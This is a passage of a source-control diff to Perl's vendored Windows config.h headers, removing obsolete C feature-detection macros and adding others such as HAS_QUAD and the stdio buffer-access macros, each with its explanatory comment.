- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-#define HAS_DBL_DIG 	/**/
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -259,32 +233,6 @@
  */
 #define HAS_MBTOWC		/**/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#define HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#define HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-#define HAS_MEMMOVE	/**/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#define HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -495,18 +443,6 @@
  */
 /*#define HAS_SETSID	/**/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
- */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-#define HAS_STRCHR	/**/
-/*#define HAS_INDEX	/**/
-
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
  *	available to compare strings using collating information.
@@ -513,13 +449,6 @@
  */
 #define HAS_STRCOLL	/**/
 
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-#define	USE_STRUCT_COPY	/**/
-
 /* HAS_STRTOD:
  *	This symbol, if defined, indicates that the strtod routine is
  *	available to provide better numeric string conversion than atof().
@@ -598,15 +527,6 @@
  */
 /*#define HAS_USLEEP		/**/
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-#define	HASVOLATILE	/**/
-#ifndef HASVOLATILE
-#define volatile
-#endif
-
 /* HAS_WAIT4:
  *	This symbol, if defined, indicates that wait4() exists.
  */
@@ -636,12 +556,6 @@
  */
 #define	I_ARPA_INET		/**/
 
-/* I_ASSERT:
- *	This symbol, if defined, indicates to the C program that it could
- *	include <assert.h> to get the assert() macro.
- */
-#define	I_ASSERT		/**/
-
 /* I_DBM:
  *	This symbol, if defined, indicates that <dbm.h> exists and should
  *	be included.
@@ -684,20 +598,6 @@
  */
 #define I_FCNTL	/**/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-#define I_FLOAT		/**/
-
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-#define I_LIMITS		/**/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -704,18 +604,6 @@
  */
 /*#define	I_LOCALE		/**/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#define I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-/*#define I_MEMORY		/**/
-
 /* I_NET_ERRNO:
  *	This symbol, if defined, indicates that <net/errno.h> exists and
  *	should be included.
@@ -728,24 +616,6 @@
  */
 /*#define I_NETINET_IN	/**/
 
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#define I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#define I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#define I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -855,14 +725,6 @@
  */
 #define I_UTIME		/**/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-/*#define I_VALUES		/**/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -1961,12 +1823,6 @@
  */
 /*#define HAS_MALLOC_GOOD_SIZE	/**/
 
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#define HAS_MEMCHR	/**/
-
 /* HAS_MKDTEMP:
  *	This symbol, if defined, indicates that the mkdtemp routine is
  *	available to exclusively create a uniquely named temporary directory.
@@ -2109,29 +1965,6 @@
  */
 /*#define HAS_RECVMSG		/**/
 
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Normally, you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_BCOPY	/**/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks.  If you need to
- *	copy overlapping memory blocks, you should check HAS_MEMMOVE and
- *	use memmove() instead, if available.
- */
-/*#define HAS_SAFE_MEMCPY	/**/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-#define HAS_SANE_MEMCMP	/**/
-
 /* HAS_SBRK_PROTO:
  *	This symbol, if defined, indicates that the system provides
  *	a prototype for the sbrk() function.  Otherwise, it is up
@@ -2473,24 +2306,12 @@
 #define FILE_bufsiz(fp)
 #endif
 
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-#define HAS_STRERROR		/**/
 #define HAS_SYS_ERRLIST	/**/
-#define Strerror(e) strerror(e)
 
 /* HAS_STRERROR_R:
  *	This symbol, if defined, indicates that the strerror_r routine
@@ -2640,20 +2461,6 @@
  */
 #define Signal_t void	/* Signal handler's return type */
 
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#define HAS_VPRINTF	/**/
-/*#define USE_CHAR_VSPRINTF 	/**/
-
 /* HAS_WRITEV:
  *	This symbol, if defined, indicates that the writev routine is
  *	available to do scatter writes.
@@ -3831,35 +3638,6 @@
  */
 /*#define I_NDBM	/**/
 
-/* I_STDARG:
- *	This symbol, if defined, indicates that <stdarg.h> exists and should
- *	be included.
- */
-/* I_VARARGS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <varargs.h>.
- */
-#define I_STDARG		/**/
-/*#define I_VARARGS	/**/
-
-/* CAN_PROTOTYPE:
- *	If defined, this macro indicates that the C compiler can handle
- *	function prototypes.
- */
-/* _:
- *	This macro is used to declare function parameters for folks who want
- *	to make declarations with prototypes using a different style than
- *	the above macros.  Use double parentheses.  For example:
- *
- *		int main _((int argc, char *argv[]));
- */
-#define	CAN_PROTOTYPE	/**/
-#ifdef CAN_PROTOTYPE
-#define	_(args) args
-#else
-#define	_(args) ()
-#endif
-
 /* SH_PATH:
  *	This symbol contains the full pathname to the shell used on this
  *	on this system to execute Bourne shell scripts.  Usually, this will be
@@ -4006,14 +3784,6 @@
  */
 /*#define	HAS_SOCKATMARK_PROTO	/**/
 
-/* SPRINTF_RETURNS_STRLEN:
- *	This variable defines whether sprintf returns the length of the string
- *	(as per the ANSI spec). Some C libraries retain compatibility with
- *	pre-ANSI C and return a pointer to the passed in buffer; for these
- *	this variable will be undef.
- */
-#define SPRINTF_RETURNS_STRLEN	/**/
-
 /* HAS_SETRESGID_PROTO:
  *	This symbol, if defined, indicates that the system provides
  *	a prototype for the setresgid() function.  Otherwise, it is up

Modified: vendor/perl/dist/win32/config_H.gc
===================================================================
--- vendor/perl/dist/win32/config_H.gc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/config_H.gc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,7 +9,7 @@
 
 /* Package name      : perl5
  * Source directory  : 
- * Configuration time: Wed Sep 17 14:09:08 2014
+ * Configuration time: Tue Oct 17 08:44:03 2017
  * Configured by     : shay
  * Target system     : 
  */
@@ -28,24 +28,12 @@
  */
 #define HAS_ALARM		/**/
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
+/* HAS_CBRT:
+ *	This symbol, if defined, indicates that the cbrt() (cube root)
+ *	function is available.
  */
-/*#define HAS_BCMP	/ **/
+/*#define HAS_CBRT	/ **/
 
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-/*#define HAS_BCOPY	/ **/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-/*#define HAS_BZERO	/ **/
-
 /* HAS_CHOWN:
  *	This symbol, if defined, indicates that the chown routine is
  *	available.
@@ -82,14 +70,6 @@
  */
 /*#define HAS_CUSERID		/ **/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
- *	or <limits.h> defines the symbol DBL_DIG, which is the number
- *	of significant digits in a double precision number.  If this
- *	symbol is not defined, a guess of 15 is usually pretty good.
- */
-#define HAS_DBL_DIG 	/**/
-
 /* HAS_DIFFTIME:
  *	This symbol, if defined, indicates that the difftime routine is
  *	available.
@@ -176,7 +156,7 @@
 #define HAS_GETLOGIN		/**/
 
 /* HAS_GETPGID:
- *	This symbol, if defined, indicates to the C program that 
+ *	This symbol, if defined, indicates to the C program that
  *	the getpgid(pid) function is available to get the
  *	process group id.
  */
@@ -256,32 +236,6 @@
  */
 #define HAS_MBTOWC		/**/
 
-/* HAS_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	to compare blocks of memory.
- */
-#define HAS_MEMCMP	/**/
-
-/* HAS_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy blocks of memory.
- */
-#define HAS_MEMCPY	/**/
-
-/* HAS_MEMMOVE:
- *	This symbol, if defined, indicates that the memmove routine is available
- *	to copy potentially overlapping blocks of memory. This should be used
- *	only when HAS_SAFE_BCOPY is not defined. If neither is there, roll your
- *	own version.
- */
-#define HAS_MEMMOVE	/**/
-
-/* HAS_MEMSET:
- *	This symbol, if defined, indicates that the memset routine is available
- *	to set blocks of memory.
- */
-#define HAS_MEMSET	/**/
-
 /* HAS_MKDIR:
  *	This symbol, if defined, indicates that the mkdir routine is available
  *	to create directories.  Otherwise you should fork off a new process to
@@ -384,6 +338,13 @@
  */
 /*#define HAS_READLINK		/ **/
 
+/* HAS_REGCOMP:
+ *	This symbol, if defined, indicates that the regcomp() routine is
+ *	available to do some regular patern matching (usually on POSIX.2
+ *	conforming systems).
+ */
+/*#define HAS_REGCOMP		/ * POSIX.2 */
+
 /* HAS_RENAME:
  *	This symbol, if defined, indicates that the rename routine is available
  *	to rename files.  Otherwise you should do the unlink(), link(), unlink()
@@ -499,17 +460,11 @@
  */
 /*#define HAS_SETSID	/ **/
 
-/* HAS_STRCHR:
- *	This symbol is defined to indicate that the strchr()/strrchr()
- *	functions are available for string searching. If not, try the
- *	index()/rindex() pair.
+/* HAS_STAT:
+ *	This symbol, if defined, indicates that the stat routine is
+ *	available to get file status.
  */
-/* HAS_INDEX:
- *	This symbol is defined to indicate that the index()/rindex()
- *	functions are available for string searching.
- */
-#define HAS_STRCHR	/**/
-/*#define HAS_INDEX	/ **/
+#define HAS_STAT	/**/
 
 /* HAS_STRCOLL:
  *	This symbol, if defined, indicates that the strcoll routine is
@@ -622,8 +577,8 @@
  *	This symbol holds the type used for the second argument to
  *	getgroups() and setgroups().  Usually, this is the same as
  *	gidtype (gid_t) , but sometimes it isn't.
- *	It can be int, ushort, gid_t, etc... 
- *	It may be necessary to include <sys/types.h> to get any 
+ *	It can be int, ushort, gid_t, etc...
+ *	It may be necessary to include <sys/types.h> to get any
  *	typedef'ed information.  This is only required if you have
  *	getgroups() or setgroups()..
  */
@@ -659,13 +614,6 @@
  */
 #define I_FCNTL	/**/
 
-/* I_FLOAT:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <float.h> to get definition of symbols like DBL_MAX or
- *	DBL_MIN, i.e. machine dependent floating point values.
- */
-#define I_FLOAT		/**/
-
 /* I_GDBM:
  *	This symbol, if defined, indicates that <gdbm.h> exists and should
  *	be included.
@@ -672,13 +620,6 @@
  */
 /*#define I_GDBM	/ **/
 
-/* I_LIMITS:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <limits.h> to get definition of symbols like WORD_BIT or
- *	LONG_MAX, i.e. machine dependant limitations.
- */
-#define I_LIMITS		/**/
-
 /* I_LOCALE:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <locale.h>.
@@ -685,18 +626,6 @@
  */
 #define	I_LOCALE		/**/
 
-/* I_MATH:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <math.h>.
- */
-#define I_MATH		/**/
-
-/* I_MEMORY:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <memory.h>.
- */
-/*#define I_MEMORY		/ **/
-
 /* I_NETINET_IN:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <netinet/in.h>. Otherwise, you may try <sys/in.h>.
@@ -703,24 +632,6 @@
  */
 /*#define I_NETINET_IN	/ **/
 
-/* I_STDDEF:
- *	This symbol, if defined, indicates that <stddef.h> exists and should
- *	be included.
- */
-#define I_STDDEF	/**/
-
-/* I_STDLIB:
- *	This symbol, if defined, indicates that <stdlib.h> exists and should
- *	be included.
- */
-#define I_STDLIB		/**/
-
-/* I_STRING:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <string.h> (USG systems) instead of <strings.h> (BSD systems).
- */
-#define I_STRING		/**/
-
 /* I_SYS_DIR:
  *	This symbol, if defined, indicates to the C program that it should
  *	include <sys/dir.h>.
@@ -817,14 +728,6 @@
  */
 #define I_UTIME		/**/
 
-/* I_VALUES:
- *	This symbol, if defined, indicates to the C program that it should
- *	include <values.h> to get definition of symbols like MINFLOAT or
- *	MAXLONG, i.e. machine dependant limitations.  Probably, you
- *	should use <limits.h> instead, if it is available.
- */
-/*#define I_VALUES		/ **/
-
 /* I_VFORK:
  *	This symbol, if defined, indicates to the C program that it should
  *	include vfork.h.
@@ -831,40 +734,27 @@
  */
 /*#define I_VFORK	/ **/
 
-/* CAN_VAPROTO:
- *	This variable is defined on systems supporting prototype declaration
- *	of functions with a variable number of arguments.
+/* STDCHAR:
+ *	This symbol is defined to be the type of char used in stdio.h.
+ *	It has the values "unsigned char" or "char".
  */
-/* _V:
- *	This macro is used to declare function parameters in prototypes for
- *	functions with a variable number of parameters. Use double parentheses.
- *	For example:
- *
- *		int printf _V((char *fmt, ...));
- *
- *	Remember to use the plain simple _() macro when declaring a function
- *	with no variable number of arguments, since it might be possible to
- *	have a non-effect _V() macro and still get prototypes via _().
- */
-/*#define CAN_VAPROTO	/ **/
-#ifdef CAN_VAPROTO
-#define	_V(args) args
-#else
-#define	_V(args) ()
-#endif
+#define STDCHAR char	/**/
 
-/* OSNAME:
- *	This symbol contains the name of the operating system, as determined
- *	by Configure.  You shouldn't rely on it too much; the specific
- *	feature tests from Configure are generally more reliable.
+/* INTSIZE:
+ *	This symbol contains the value of sizeof(int) so that the C
+ *	preprocessor can make decisions based on it.
  */
-/* OSVERS:
- *	This symbol contains the version of the operating system, as determined
- *	by Configure.  You shouldn't rely on it too much; the specific
- *	feature tests from Configure are generally more reliable.
+/* LONGSIZE:
+ *	This symbol contains the value of sizeof(long) so that the C
+ *	preprocessor can make decisions based on it.
  */
-#define OSNAME "MSWin32"		/**/
-#define OSVERS "6.1"		/**/
+/* SHORTSIZE:
+ *	This symbol contains the value of sizeof(short) so that the C
+ *	preprocessor can make decisions based on it.
+ */
+#define INTSIZE 4		/**/
+#define LONGSIZE 4		/**/
+#define SHORTSIZE 2		/**/
 
 /* MULTIARCH:
  *	This symbol, if defined, signifies that the build
@@ -875,69 +765,55 @@
  */
 /*#define MULTIARCH		/ **/
 
-/* MEM_ALIGNBYTES:
- *	This symbol contains the number of bytes required to align a
- *	double, or a long double when applicable. Usual values are 2,
- *	4 and 8. The default is eight, for safety.  For cross-compiling
- *  	or multiarch support, Configure will set a minimum of 8.
+/* HAS_QUAD:
+ *	This symbol, if defined, tells that there's a 64-bit integer type,
+ *	Quad_t, and its unsigned counterpart, Uquad_t. QUADKIND will be one
+ *	of QUAD_IS_INT, QUAD_IS_LONG, QUAD_IS_LONG_LONG, QUAD_IS_INT64_T,
+ *	or QUAD_IS___INT64.
  */
-#define MEM_ALIGNBYTES 8
+#define HAS_QUAD	/**/
+#ifdef HAS_QUAD
+#   define Quad_t long long	/**/
+#   define Uquad_t unsigned long long	/**/
+#   define QUADKIND 3	/**/
+#   define QUAD_IS_INT	1
+#   define QUAD_IS_LONG	2
+#   define QUAD_IS_LONG_LONG	3
+#   define QUAD_IS_INT64_T	4
+#   define QUAD_IS___INT64	5
+#endif
 
-/* ARCHLIB:
- *	This variable, if defined, holds the name of the directory in
- *	which the user wants to put architecture-dependent public
- *	library files for perl5.  It is most often a local directory
- *	such as /usr/local/lib.  Programs using this variable must be
- *	prepared to deal with filename expansion.  If ARCHLIB is the
- *	same as PRIVLIB, it is not defined, since presumably the
- *	program already searches PRIVLIB.
+/* HAS_ACCESSX:
+ *	This symbol, if defined, indicates that the accessx routine is
+ *	available to do extended access checks.
  */
-/* ARCHLIB_EXP:
- *	This symbol contains the ~name expanded version of ARCHLIB, to be used
- *	in programs that are not prepared to deal with ~ expansion at run-time.
+/*#define HAS_ACCESSX		/ **/
+
+/* HAS_EACCESS:
+ *	This symbol, if defined, indicates that the eaccess routine is
+ *	available to do extended access checks.
  */
-#define ARCHLIB "c:\\perl\\lib"		/**/
-/*#define ARCHLIB_EXP ""	/ **/
+/*#define HAS_EACCESS		/ **/
 
-/* ARCHNAME:
- *	This symbol holds a string representing the architecture name.
- *	It may be used to construct an architecture-dependant pathname
- *	where library files may be held under a private library, for
- *	instance.
+/* I_SYS_ACCESS:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <sys/access.h>.
  */
-#define ARCHNAME "MSWin32-x86"		/**/
+/*#define   I_SYS_ACCESS                / **/
 
-/* BIN:
- *	This symbol holds the path of the bin directory where the package will
- *	be installed. Program must be prepared to deal with ~name substitution.
+/* I_SYS_SECURITY:
+ *     This symbol, if defined, indicates to the C program that it should
+ *     include <sys/security.h>.
  */
-/* BIN_EXP:
- *	This symbol is the filename expanded version of the BIN symbol, for
- *	programs that do not want to deal with that at run-time.
- */
-/* PERL_RELOCATABLE_INC:
- *	This symbol, if defined, indicates that we'd like to relocate entries
- *	in @INC at run time based on the location of the perl binary.
- */
-#define BIN "c:\\perl\\bin"	/**/
-#define BIN_EXP "c:\\perl\\bin"	/**/
-#define PERL_RELOCATABLE_INC "undef" 		/**/
+/*#define   I_SYS_SECURITY	/ **/
 
-/* INTSIZE:
- *	This symbol contains the value of sizeof(int) so that the C
- *	preprocessor can make decisions based on it.
+/* MEM_ALIGNBYTES:
+ *	This symbol contains the number of bytes required to align a
+ *	double, or a long double when applicable. Usual values are 2,
+ *	4 and 8. The default is eight, for safety.  For cross-compiling
+ *  	or multiarch support, Configure will set a minimum of 8.
  */
-/* LONGSIZE:
- *	This symbol contains the value of sizeof(long) so that the C
- *	preprocessor can make decisions based on it.
- */
-/* SHORTSIZE:
- *	This symbol contains the value of sizeof(short) so that the C
- *	preprocessor can make decisions based on it.
- */
-#define INTSIZE 4		/**/
-#define LONGSIZE 4		/**/
-#define SHORTSIZE 2		/**/
+#define MEM_ALIGNBYTES 8
 
 /* BYTEORDER:
  *	This symbol holds the hexadecimal constant defined in byteorder,
@@ -976,6 +852,519 @@
  */
 #define CHARBITS 8		/**/
 
+/* CASTI32:
+ *	This symbol is defined if the C compiler can cast negative
+ *	or large floating point numbers to 32-bit ints.
+ */
+#define	CASTI32		/**/
+
+/* CASTNEGFLOAT:
+ *	This symbol is defined if the C compiler can cast negative
+ *	numbers to unsigned longs, ints and shorts.
+ */
+/* CASTFLAGS:
+ *	This symbol contains flags that say what difficulties the compiler
+ *	has casting odd floating values to unsigned long:
+ *		0 = ok
+ *		1 = couldn't cast < 0
+ *		2 = couldn't cast >= 0x80000000
+ *		4 = couldn't cast in argument expression list
+ */
+#define	CASTNEGFLOAT		/**/
+#define CASTFLAGS 0		/**/
+
+/* VOID_CLOSEDIR:
+ *	This symbol, if defined, indicates that the closedir() routine
+ *	does not return a value.
+ */
+/*#define VOID_CLOSEDIR		/ **/
+
+/* HAS_FD_SET:
+ *	This symbol, when defined, indicates presence of the fd_set typedef
+ *	in <sys/types.h>
+ */
+#define HAS_FD_SET	/**/
+
+/* Gconvert:
+ *	This preprocessor macro is defined to convert a floating point
+ *	number to a string without a trailing decimal point.  This
+ *	emulates the behavior of sprintf("%g"), but is sometimes much more
+ *	efficient.  If gconvert() is not available, but gcvt() drops the
+ *	trailing decimal point, then gcvt() is used.  If all else fails,
+ *	a macro using sprintf("%g") is used. Arguments for the Gconvert
+ *	macro are: value, number of digits, whether trailing zeros should
+ *	be retained, and the output buffer.
+ *	The usual values are:
+ *		d_Gconvert='gconvert((x),(n),(t),(b))'
+ *		d_Gconvert='gcvt((x),(n),(b))'
+ *		d_Gconvert='sprintf((b),"%.*g",(n),(x))'
+ *	The last two assume trailing zeros should not be kept.
+ */
+#define Gconvert(x,n,t,b) sprintf((b),"%.*g",(n),(x))
+
+/* HAS_GETPAGESIZE:
+ *	This symbol, if defined, indicates that the getpagesize system call
+ *	is available to get system page size, which is the granularity of
+ *	many memory management calls.
+ */
+/*#define HAS_GETPAGESIZE		/ **/
+
+/* HAS_GNULIBC:
+ *	This symbol, if defined, indicates to the C program that
+ *	the GNU C library is being used.  A better check is to use
+ *	the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc.
+ */
+/*#define HAS_GNULIBC  	/ **/
+#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)
+#   define _GNU_SOURCE
+#endif
+
+/* HAS_ISASCII:
+ *	This manifest constant lets the C program know that isascii
+ *	is available.
+ */
+#define HAS_ISASCII		/**/
+
+/* HAS_LCHOWN:
+ *	This symbol, if defined, indicates that the lchown routine is
+ *	available to operate on a symbolic link (instead of following the
+ *	link).
+ */
+/*#define HAS_LCHOWN		/ **/
+
+/* HAS_OPEN3:
+ *	This manifest constant lets the C program know that the three
+ *	argument form of open(2) is available.
+ */
+/*#define HAS_OPEN3		/ **/
+
+/* HAS_SIGACTION:
+ *	This symbol, if defined, indicates that Vr4's sigaction() routine
+ *	is available.
+ */
+/*#define HAS_SIGACTION	/ **/
+
+/* HAS_SIGINFO_SI_ERRNO:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_errno member
+ */
+/* HAS_SIGINFO_SI_PID:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_pid member
+ */
+/* HAS_SIGINFO_SI_UID:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_uid member
+ */
+/* HAS_SIGINFO_SI_ADDR:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_addr member
+ */
+/* HAS_SIGINFO_SI_STATUS:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_status member
+ */
+/* HAS_SIGINFO_SI_BAND:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_band member
+ */
+/* HAS_SIGINFO_SI_VALUE:
+ *	This symbol, if defined, indicates that siginfo_t has the
+ *	si_value member
+ */
+/*#define	HAS_SIGINFO_SI_ERRNO	/ **/
+/*#define	HAS_SIGINFO_SI_PID	/ **/
+/*#define	HAS_SIGINFO_SI_UID	/ **/
+/*#define	HAS_SIGINFO_SI_ADDR	/ **/
+/*#define	HAS_SIGINFO_SI_STATUS	/ **/
+/*#define	HAS_SIGINFO_SI_BAND	/ **/
+/*#define	HAS_SIGINFO_SI_VALUE	/ **/
+
+/* HAS_SIGSETJMP:
+ *	This variable indicates to the C program that the sigsetjmp()
+ *	routine is available to save the calling process's registers
+ *	and stack environment for later use by siglongjmp(), and
+ *	to optionally save the process's signal mask.  See
+ *	Sigjmp_buf, Sigsetjmp, and Siglongjmp.
+ */
+/* Sigjmp_buf:
+ *	This is the buffer type to be used with Sigsetjmp and Siglongjmp.
+ */
+/* Sigsetjmp:
+ *	This macro is used in the same way as sigsetjmp(), but will invoke
+ *	traditional setjmp() if sigsetjmp isn't available.
+ *	See HAS_SIGSETJMP.
+ */
+/* Siglongjmp:
+ *	This macro is used in the same way as siglongjmp(), but will invoke
+ *	traditional longjmp() if siglongjmp isn't available.
+ *	See HAS_SIGSETJMP.
+ */
+/*#define HAS_SIGSETJMP	/ **/
+#ifdef HAS_SIGSETJMP
+#define Sigjmp_buf sigjmp_buf
+#define Sigsetjmp(buf,save_mask) sigsetjmp((buf),(save_mask))
+#define Siglongjmp(buf,retval) siglongjmp((buf),(retval))
+#else
+#define Sigjmp_buf jmp_buf
+#define Sigsetjmp(buf,save_mask) setjmp((buf))
+#define Siglongjmp(buf,retval) longjmp((buf),(retval))
+#endif
+
+/* HAS_STATIC_INLINE:
+ *	This symbol, if defined, indicates that the C compiler supports
+ *	C99-style static inline.  That is, the function can't be called
+ *	from another translation unit.
+ */
+/* PERL_STATIC_INLINE:
+ *	This symbol gives the best-guess incantation to use for static
+ *	inline functions.  If HAS_STATIC_INLINE is defined, this will
+ *	give C99-style inline.  If HAS_STATIC_INLINE is not defined,
+ *	this will give a plain 'static'.  It will always be defined
+ *	to something that gives static linkage.
+ *	Possibilities include
+ *		static inline       (c99)
+ *		static __inline__   (gcc -ansi)
+ *		static __inline     (MSVC)
+ *		static _inline      (older MSVC)
+ *		static              (c89 compilers)
+ */
+#define HAS_STATIC_INLINE				/**/
+#define PERL_STATIC_INLINE static __inline__	/**/
+
+/* USE_STDIO_PTR:
+ *	This symbol is defined if the _ptr and _cnt fields (or similar)
+ *	of the stdio FILE structure can be used to access the stdio buffer
+ *	for a file handle.  If this is defined, then the FILE_ptr(fp)
+ *	and FILE_cnt(fp) macros will also be defined and should be used
+ *	to access these fields.
+ */
+/* FILE_ptr:
+ *	This macro is used to access the _ptr field (or equivalent) of the
+ *	FILE structure pointed to by its argument. This macro will always be
+ *	defined if USE_STDIO_PTR is defined.
+ */
+/* STDIO_PTR_LVALUE:
+ *	This symbol is defined if the FILE_ptr macro can be used as an
+ *	lvalue.
+ */
+/* FILE_cnt:
+ *	This macro is used to access the _cnt field (or equivalent) of the
+ *	FILE structure pointed to by its argument. This macro will always be
+ *	defined if USE_STDIO_PTR is defined.
+ */
+/* STDIO_CNT_LVALUE:
+ *	This symbol is defined if the FILE_cnt macro can be used as an
+ *	lvalue.
+ */
+/* STDIO_PTR_LVAL_SETS_CNT:
+ *	This symbol is defined if using the FILE_ptr macro as an lvalue
+ *	to increase the pointer by n has the side effect of decreasing the
+ *	value of File_cnt(fp) by n.
+ */
+/* STDIO_PTR_LVAL_NOCHANGE_CNT:
+ *	This symbol is defined if using the FILE_ptr macro as an lvalue
+ *	to increase the pointer by n leaves File_cnt(fp) unchanged.
+ */
+#define USE_STDIO_PTR 	/**/
+#ifdef USE_STDIO_PTR
+#define FILE_ptr(fp)	((fp)->_ptr)
+#define STDIO_PTR_LVALUE 		/**/
+#define FILE_cnt(fp)	((fp)->_cnt)
+#define STDIO_CNT_LVALUE 		/**/
+/*#define STDIO_PTR_LVAL_SETS_CNT	/ **/
+#define STDIO_PTR_LVAL_NOCHANGE_CNT	/**/
+#endif
+
+/* USE_STDIO_BASE:
+ *	This symbol is defined if the _base field (or similar) of the
+ *	stdio FILE structure can be used to access the stdio buffer for
+ *	a file handle.  If this is defined, then the FILE_base(fp) macro
+ *	will also be defined and should be used to access this field.
+ *	Also, the FILE_bufsiz(fp) macro will be defined and should be used
+ *	to determine the number of bytes in the buffer.  USE_STDIO_BASE
+ *	will never be defined unless USE_STDIO_PTR is.
+ */
+/* FILE_base:
+ *	This macro is used to access the _base field (or equivalent) of the
+ *	FILE structure pointed to by its argument. This macro will always be
+ *	defined if USE_STDIO_BASE is defined.
+ */
+/* FILE_bufsiz:
+ *	This macro is used to determine the number of bytes in the I/O
+ *	buffer pointed to by _base field (or equivalent) of the FILE
